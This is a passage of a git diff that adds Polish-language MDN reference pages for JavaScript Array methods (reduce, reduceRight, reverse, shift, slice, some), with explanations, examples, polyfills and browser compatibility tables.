+ var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = 0, value;
+ if (arguments.length == 2) {
+ value = arguments[1];
+ } else {
+ while (k &lt; len &amp;&amp; !(k in t)) {
+ k++;
+ }
+ if (k &gt;= len) {
+ throw new TypeError('Reduce of empty array with no initial value');
+ }
+ value = t[k++];
+ }
+ for (; k &lt; len; k++) {
+ if (k in t) {
+ value = callback(value, t[k], k, t);
+ }
+ }
+ return value;
+ };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Stan</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Definicja początkowa. Wprowadzon w JavaScript 1.8.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Wspierane przeglądarki</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.9")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("10.5")}}</td>
+ <td>{{CompatSafari("4.0")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html
new file mode 100644
index 0000000000..fcb2b0e694
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html
@@ -0,0 +1,344 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Referencje/Obiekty/Array/ReduceRight
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>reduceRight()</strong></code> przekazuje do funkcji wartość przyrostową dla każdego elementu w tablicy zaczynając od prawej do lewej (od najwyższego indexu do najniższego) w celu sprowadzenia tablicy do pojedynczej wartości.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce-right.html","shorter")}}</div>
+
+
+
+<p>Sprawdź również {{jsxref("Array.prototype.reduce()")}} dla redukowania tablicy od lewej do prawej (od najniższego indexu do najwyższego).</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>arr.reduceRight(callback(akumulator, obecnaWartość[, index[, tablica]])[, wartośćPoczątkowa])</var></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja która będzie wołana dla każdego elementu w tablicy, przyjmuje 4 argumenty:
+ <dl>
+ <dt><code>akumulator</code></dt>
+ <dd>Wartość zwrócona z poprzedniego wywołania funkcji <code>callback</code> lub <code>wartośćPoczątkowa</code>, jeśli została zdefiniowana. (Sprawdź poniżej.)</dd>
+ <dt><code>obecnaWartość</code></dt>
+ <dd>Element z tablicy, który aktualnie jest przetwarzany</dd>
+ <dt><code>index</code>{{optional_inline}}</dt>
+ <dd>Index aktualnie przetwarzanego elementu z tablicy.</dd>
+ <dt><code>tablica</code>{{optional_inline}}</dt>
+ <dd>Tablica, na której <code>reduceRight()</code> zostało zawołane.</dd>
+ </dl>
+ </dd>
+ <dt><code>wartośćPoczątkowa</code>{{optional_inline}}</dt>
+ <dd>Wartość, która zostanie użyta do pierwszego wykonania funkcji <code>callback</code>. Jeśli wartość ta nie zostanie zdefiniowana, ostatni element tablicy zostanie użyty i pominięty. Wołanie reduce lub reduceRight na pustej tablicy bez zdefiniowanej wartości początkowej spowoduje błąd <code>TypeError</code>.</dd>
+</dl>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p>Wartość wynikowa redukcji.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>reduceRight</code> wykonuje funkcję <code>callback</code> dla każdego elementu z tablicy, z wyłączeniem miejsc niezdefiniowanych w tablicy, przekazując cztery argumenty: wartość początkową (lub wartość z poprzedniego wywołania funkcji <code>callback</code>), wartość obecnie przetwarzanego elementu, obecny index oraz tablicę na której wykonywane są iteracje.</p>
+
+<p>Użycie funkcji <code>callback</code> w metodzie reduceRight może wyglądac następująco:</p>
+
+<pre class="brush: js">array.reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+ // ...
+});
+</pre>
+
+<p>Przy pierwszym wywołaniu funkcji, <code>akumulator</code> i <code>obecnaWartość</code> mogą mieć jedną z 2 wartości. Jeśli <code>wartośćPoczątkowa</code> została przekazana do <code>reduceRight</code>, to <code>akumulator</code> będzie równy <code>wartośćPoczątkowa</code> a <code>obecnaWartość</code> będzie równa ostatniej wartości z tablicy. Jeśli <code>wartośćPoczątkowa</code> nie została zdefiniowana, wtedy <code>akumulator</code> będzie równy ostatniej wartości z tablicy a <code>obecnaWartość</code> będzie równa przedostatniej wartości z tablicy.</p>
+
+<p>Jeśli tablica jest pusta i <code>wartośćPoczątkowa</code> nie została zdefiniowana, spowoduje to błąd: {{jsxref("TypeError")}}. Jeśli tablica ma tylko jeden element (niezależnie od jego pozycji) i <code>wartośćPoczątkowa</code> nie została zdefiniowana lub <code>wartośćPoczątkowa</code> została zdefiniowana ale tablica jest pusta, to ta pojedyncza wartość zostanie zwrócona bez wołania funkcji <code>callback</code>.</p>
+
+<p>Przykład pokazujący, jak przepływają dane do funkcji <code>callback</code>:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+ return akumulator + obecnaWartość;
+});
+</pre>
+
+<p>Funkcja <code>callback</code> wykona się 4 razy a argumenty wywołań oraz wartości zwracane będą zgodne z poniższą tabelą:</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"><code>callback</code></th>
+ <th scope="col"><code>akumulator</code></th>
+ <th scope="col"><code>obecnaWartość</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>tablica</code></th>
+ <th scope="col">zwrócona wartość</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">first call</th>
+ <td><code>4</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>7</code></td>
+ </tr>
+ <tr>
+ <th scope="row">second call</th>
+ <td><code>7</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>9</code></td>
+ </tr>
+ <tr>
+ <th scope="row">third call</th>
+ <td><code>9</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fourth call</th>
+ <td><code>10</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wartość zwrócona przez <code>reduceRight</code> będzie tym, co zostało zwrócone przez ostatnie wywołanie funkcji <code>callback</code> (<code>10</code>).</p>
+
+<p>Jeśli <code>wartośćPoczątkowa</code> zostałaby zdefiniowana wyniki wyglądałyby następująco:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+ return akumulator + obecnaWartość;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"><code>callback</code></th>
+ <th scope="col"><code>akumulator</code></th>
+ <th scope="col"><code>obecnaWartość</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>tablica</code></th>
+ <th scope="col">zwrócona wartość</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">first call</th>
+ <td><code>10</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>14</code></td>
+ </tr>
+ <tr>
+ <th scope="row">second call</th>
+ <td><code>14</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>17</code></td>
+ </tr>
+ <tr>
+ <th scope="row">third call</th>
+ <td><code>17</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>19</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fourth call</th>
+ <td><code>19</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fifth call</th>
+ <td><code>20</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wartość zwrócona przez <code>reduceRight</code> w tym przypadku, będzie, oczywiście, <code>20</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Zsumuj_wszystkie_wartości_z_tablicy">Zsumuj wszystkie wartości z tablicy</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduceRight(function(a, b) {
+ return a + b;
+});
+// sum is 6
+</pre>
+
+<h3 id="Spłaszcz_tablicę_tablic">Spłaszcz tablicę tablic</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+ return a.concat(b);
+}, []);
+// flattened is [4, 5, 2, 3, 0, 1]
+
+</pre>
+
+<h3 id="Uruchom_asynchroniczne_funkcje_z_callbackami_z_listy_w_taki_sposób_aby_każda_przekazywała_wynik_wykonania_do_następnej">Uruchom asynchroniczne funkcje z callbackami z listy w taki sposób aby każda przekazywała wynik wykonania do następnej</h3>
+
+<pre class="brush: js">const waterfall = (...functions) =&gt; (callback, ...args) =&gt;
+ functions.reduceRight(
+ (composition, fn) =&gt; (...results) =&gt; fn(composition, ...results),
+ callback
+ )(...args);
+
+const randInt = max =&gt; Math.floor(Math.random() * max)
+
+const add5 = (callback, x) =&gt; {
+ setTimeout(callback, randInt(1000), x + 5);
+};
+const mult3 = (callback, x) =&gt; {
+ setTimeout(callback, randInt(1000), x * 3);
+};
+const sub2 = (callback, x) =&gt; {
+ setTimeout(callback, randInt(1000), x - 2);
+};
+const split = (callback, x) =&gt; {
+ setTimeout(callback, randInt(1000), x, x);
+};
+const add = (callback, x, y) =&gt; {
+ setTimeout(callback, randInt(1000), x + y);
+};
+const div4 = (callback, x) =&gt; {
+ setTimeout(callback, randInt(1000), x / 4);
+};
+
+const computation = waterfall(add5, mult3, sub2, split, add, div4);
+computation(console.log, 5) // -&gt; 14
+
+// same as:
+
+const computation2 = (input, callback) =&gt; {
+ const f6 = x=&gt; div4(callback, x);
+ const f5 = (x, y) =&gt; add(f6, x, y);
+ const f4 = x =&gt; split(f5, x);
+ const f3 = x =&gt; sub2(f4, x);
+ const f2 = x =&gt; mult3(f3, x);
+ add5(f2, input);
+}</pre>
+
+<h3 id="​​​​​​Różnica_pomiędzy_reduce_i_reduceRight">​​​​​​Różnica pomiędzy <code>reduce</code> i <code>reduceRight</code></h3>
+
+<pre class="brush: js">var a = ['1', '2', '3', '4', '5'];
+var left = a.reduce(function(prev, cur) { return prev + cur; });
+var right = a.reduceRight(function(prev, cur) { return prev + cur; });
+
+console.log(left); // "12345"
+console.log(right); // "54321"</pre>
+
+<h3 id="Przykład_na_rozwijanie_funkcji">Przykład na rozwijanie funkcji</h3>
+
+<p>W rozwijaniu funkcji chodzi o to, że w wywołaniu jednej funkcji możemy użyć wielu funkcji. Odbywa się to od prawej do lewej, wołając każdą funkcję z wynikiem zwróconym przez poprzednią.</p>
+
+<pre class="brush: js">/**
+ * Function Composition is way in which result of one function can
+ * be passed to another and so on.
+ *
+ * h(x) = f(g(x))
+ *
+ * Function execution happens right to left
+ *
+ * https://en.wikipedia.org/wiki/Function_composition
+ */
+
+const compose = (...args) =&gt; (value) =&gt; args.reduceRight((acc, fn) =&gt; fn(acc), value)
+
+// Increment passed number
+const inc = (n) =&gt; n + 1
+
+// Doubles the passed value
+const double = (n) =&gt; n * 2
+
+// using composition function
+console.log(compose(double, inc)(2)); // 6
+
+// using composition function
+console.log(compose(inc, double)(2)); // 5
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>reduceRight</code> zostało dodane dostandardu ECMA-262 w piątej edycji, w związku z czym może jeszcze nie być dodane do wszystkich implementacji standardu. Można to rozwiązać poprzez użycie poniższego kodu na początku aplikacji, pozwoli to na używanie <code>reduceRight</code> w środowiskach, które tego nie implementują.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.22
+// Reference: http://es5.github.io/#x15.4.4.22
+if ('function' !== typeof Array.prototype.reduceRight) {
+ Array.prototype.reduceRight = function(callback /*, initialValue*/) {
+ 'use strict';
+ if (null === this || 'undefined' === typeof this) {
+ throw new TypeError('Array.prototype.reduce called on null or undefined');
+ }
+ if ('function' !== typeof callback) {
+ throw new TypeError(callback + ' is not a function');
+ }
+ var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = len - 1, value;
+ if (arguments.length &gt;= 2) {
+ value = arguments[1];
+ } else {
+ while (k &gt;= 0 &amp;&amp; !(k in t)) {
+ k--;
+ }
+ if (k &lt; 0) {
+ throw new TypeError('Reduce of empty array with no initial value');
+ }
+ value = t[k--];
+ }
+ for (; k &gt;= 0; k--) {
+ if (k in t) {
+ value = callback(value, t[k], k, t);
+ }
+ }
+ return value;
+ };
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_w_przeglądarkach">Zgodność w przeglądarkach</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reduceRight")}}</p>
+</div>
+
+<h2 id="Sprawdź_również">Sprawdź również</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html b/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html
new file mode 100644
index 0000000000..bc6fd9082b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html
@@ -0,0 +1,55 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Referencje/Obiekty/Array/reverse
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Odwraca kolejność elementów w tablicy: pierwszy staje się ostatnim, ostatni pierwszym.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.reverse()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>reverse</code> zmienia zawartość tablicy, odwracając kolejność jej elementów.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Odwracanie_kolejno.C5.9Bci_element.C3.B3w_w_tablicy" name="Przyk.C5.82ad:_Odwracanie_kolejno.C5.9Bci_element.C3.B3w_w_tablicy">Przykład: Odwracanie kolejności elementów w tablicy</h3>
+
+<p>Poniższy przykład tworzy tablicę mojaTablica, posiadającą trzy elementy, następnie odwraca ich kolejność.</p>
+
+<pre class="brush: js">mojaTablica = new Array("jeden", "dwa", "trzy")
+mojaTablica.reverse()
+</pre>
+
+<p>W wyniku działania powyższego kodu:</p>
+
+<ul>
+ <li><code>mojaTablica[0]</code> ma wartość "trzy"</li>
+ <li><code>mojaTablica[1]</code> ma wartość "dwa"</li>
+ <li><code>mojaTablica[2]</code> ma wartość "jeden"</li>
+</ul>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/shift/index.html b/files/pl/web/javascript/referencje/obiekty/array/shift/index.html
new file mode 100644
index 0000000000..adf8ca36e4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/shift/index.html
@@ -0,0 +1,48 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Referencje/Obiekty/Array/shift
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Usuwa pierwszy element z tablicy i zwraca go. Metoda ta zmienia długość tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.shift()</code></pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Usuwanie_pierwszego_elementu_tablicy" name="Przyk.C5.82ad:_Usuwanie_pierwszego_elementu_tablicy">Przykład: Usuwanie pierwszego elementu tablicy</h3>
+
+<p>Następujący kod wyświetli tablicę <code>myFish</code>, przed i po usunięciu jej pierwszego elementu. Wyświetli również usunięty element:</p>
+
+<pre class="brush: js">// przyjmując że funkcja print jest zdefiniowana
+var myFish = ["anioł", "klaun", "mandarynka", "chirurg"];
+console.log("myFish przed: " + myFish);
+var shifted = myFish.shift();
+console.log("myFish po: " + myFish);
+console.log("Usunięto element: " + shifted);
+</pre>
+
+<p>Przykład wyświetli następujący rezultat:</p>
+
+<pre class="brush: js">myFish przed: ["anioł", "klaun", "mandarynka", "chirurg"]
+myFish po: ["klaun", "mandarynka", "chirurg"]
+//Usunięto element: anioł
+</pre>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/slice/index.html b/files/pl/web/javascript/referencje/obiekty/array/slice/index.html
new file mode 100644
index 0000000000..ced8efba96
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/slice/index.html
@@ -0,0 +1,99 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Referencje/Obiekty/Array/slice
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<p>{{ JSRef }}</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wydobywa fragment tablicy i zwraca go jako nową tablicę.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>begin</code></dt>
+ <dd>Indeks (liczony od zera) od którego zaczyna się wydobywanie.</dd>
+ <dd>Jeżeli indeks jest ujemny, <code>begin</code> wskazuje przesunięcie w kolejności od końca. <code>slice(-2)</code> wydobywa kolejno drugi od końca i ostatni element tablicy.</dd>
+</dl>
+
+<dl>
+ <dt><code>end</code></dt>
+ <dd>Indeks (liczony od zera) przed którym kończy się wydobywanie. <code>slice</code> wydobywa elementy jednakże nie zawiera <code>end</code>.</dd>
+</dl>
+
+<dl>
+ <dd><code>slice(1,4)</code> wydobywa elementy od drugiego do czwartego (o indeksach 1, 2 i 3).</dd>
+</dl>
+
+<dl>
+ <dd>Jeżeli parametr ten ma wartość ujemną to <code>end</code> określa odległość od końca tablicy. <code>slice(2,-1)</code> wydobywa kolejne elementy od trzeciego do przedostatniego.</dd>
+</dl>
+
+<dl>
+ <dd>Jeżeli <code>end</code> jest pominięty, <code>slice</code> wydobywa wszystkie elementy do końca tablicy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>slice</code> nie zmienia zawartości oryginalnej tablicy, tylko zwraca nową kopię "o jednym poziomie głębokości" zawierającą elementy wyciągnięte z oryginalnej tablicy. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:</p>
+
+<ul>
+ <li>W przypadku referencji do obiektów (nie obiektów właściwych), <code>slice</code> kopiuje referencje do nowej tablicy. Obydwie - oryginalna i nowa tablica - odnoszą się do tego samego obiektu. Jeżeli zmienimy obiekt odniesienia, zmiany są widoczne dla obydwu tablic, nowej i oryginalnej.</li>
+</ul>
+
+<ul>
+ <li>Dla łańcuchów znaków i liczb (nie będących obiektami {{jsxref("String")}} i {{jsxref("Number")}}, <code>slice</code> kopiuje łańcuchy znaków i liczby do nowej tablicy. Zmiana łańcucha znaków lub liczby w jednej z tablic nie wpływa na wartość w drugiej.</li>
+</ul>
+
+<p>Jeżeli nowy element jest dodany do jednej z tablic, to nie wpływa to w żaden sposób na drugą.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_slice" name="Przyk.C5.82ad:_Zastosowanie_slice">Przykład: Zastosowanie <code>slice</code></h3>
+
+<p>W następującym przykładzie <code>slice</code> tworzy nową tablicę <code>newCar</code> z <code>myCar</code>. Obydwie zawierają odniesienie do obiektu <code>myHonda</code>. Kiedy kolor <code>myHonda</code> jest zmieniany na purpurowy, to obie tablice odzwierciedlają zmianę.</p>
+
+<pre class="brush: js">//Użycie slice, tworzenie newCar z myCar.
+var myHonda = { color: "red", wheels: 4, engine: { cylinders: 4, size: 2.2 } };
+var myCar = [myHonda, 2, "cherry condition", "purchased 1997"];
+var newCar = myCar.slice(0, 2);
+
+//Wpisz wartości myCar, newCar i color myHonda
+// referenced from both arrays.
+console.log("myCar = " + myCar.toSource());
+console.log("newCar = " + newCar.toSource());
+console.log("myCar[0].color = " + myCar[0].color);
+console.log("newCar[0].color = " + newCar[0].color);
+
+//zmienia kolor myHonda.
+myHonda.color = "purple";
+console.log("Nowy kolor mojej Honda to " + myHonda.color);
+
+//Wpisz color myHonda odnoszący się do oby tablic
+console.log("myCar[0].color = " + myCar[0].color);
+console.log("newCar[0].color = " + newCar[0].color);
+</pre>
+
+<p>Ten skrypt wypisze:</p>
+
+<pre class="brush: js">myCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2, "cherry condition", "purchased 1997"]
+newCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+Nowym kolorem mojej Honda jest purpurowy
+myCar[0].color = purple
+newCar[0].color = purple
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/some/index.html b/files/pl/web/javascript/referencje/obiekty/array/some/index.html
new file mode 100644
index 0000000000..6ba1777370
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/some/index.html
@@ -0,0 +1,110 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Referencje/Obiekty/Array/some
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<p>{{ JSRef }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Sprawdza, czy jakikolwiek element tablicy zalicza test zaimplementowany przez dostarczoną funkcję .</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code> </dt>
+ <dd>Funkcja sprawdzająca dla każdego elementu.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Obiekt do użycia jako <code>this</code> gdy wykonujemy funkcję <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>some</code> wykonuje funkcję <code>callback</code>) na każdym elemencie tablicy, aż znajdzie taki, dla którego <code>callback</code> zwróci prawdę (<code>true</code>). Jeżeli taki element zostanie znaleziony, <code>some</code> zakończy swoje działanie i zwróci prawdę (<code>true</code>), w przeciwnym przypadku (gdy <code>callback</code> zwróci fałsz dla każdego z elementów) <code>some</code> zwróci <code>false</code>. Tablice nie są traktowane jako "zwarte" - czyli <code>callback</code> zostanie wywołany dla każdego indeksu tablicy dla którego wartość została przypisana. Nie zostanie wywołany dla indeksów, które zostały usunięte, bądź dla których nigdy nie została przypisana wartość.</p>
+
+<p><code>callback</code> wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i przemierzaną tablicą.</p>
+
+<p>W przypadku podania argumentu <code>thisObject</code>, zostanie on przekazany jako <code>this</code> przy każdym wywołaniu <code>callback</code>. Gdy go brak, lub ma wartość <code>null</code>, użyty zostanie obiekt globalny przyporządkowany do <code>callback</code>.</p>
+
+<p><code>some</code> nie modyfikuje tablicy, na której jest wywołany.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>some</code> ustalany jest przed pierwszym wywołaniem <code>callback</code>. Elementy dodane do tablicy po wywołaniu <code>some</code> nie zostaną sprawdzone przez <code>callback</code>. Jeśli istniejący, niesprawdzony jeszcze element tablicy zostanie zmieniony lub usunięty przez <code>callback</code>, wartością przekazaną do <code>callback</code> będzie wartość z momentu, w którym <code>some</code> sprawdza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako <code>undefined</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Sprawdzanie rozmiaru wszystkich elementów tablicy</h3>
+
+<p>Następujący przykład sprawdza czy jakiś element tablicy jest większy, bądź równy 10.</p>
+
+<pre class="brush: js">function czyWiekszyNiz10(element, index, array) {
+ return element &gt; 10;
+}
+[2, 5, 8, 1, 4].some(czyWiekszyNiz10); // false
+[12, 5, 8, 1, 44].some(czyWiekszyNiz10); // true
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Sprawdzanie elementów używając funkcji strzałkowych</h3>
+
+<p>Funkcje strzałkowe dają krótszą składnię dla tego samego testu.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(x =&gt; x &gt; 10); // false
+[12, 5, 8, 1, 44].some(x =&gt; x &gt; 10); // true
+</pre>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
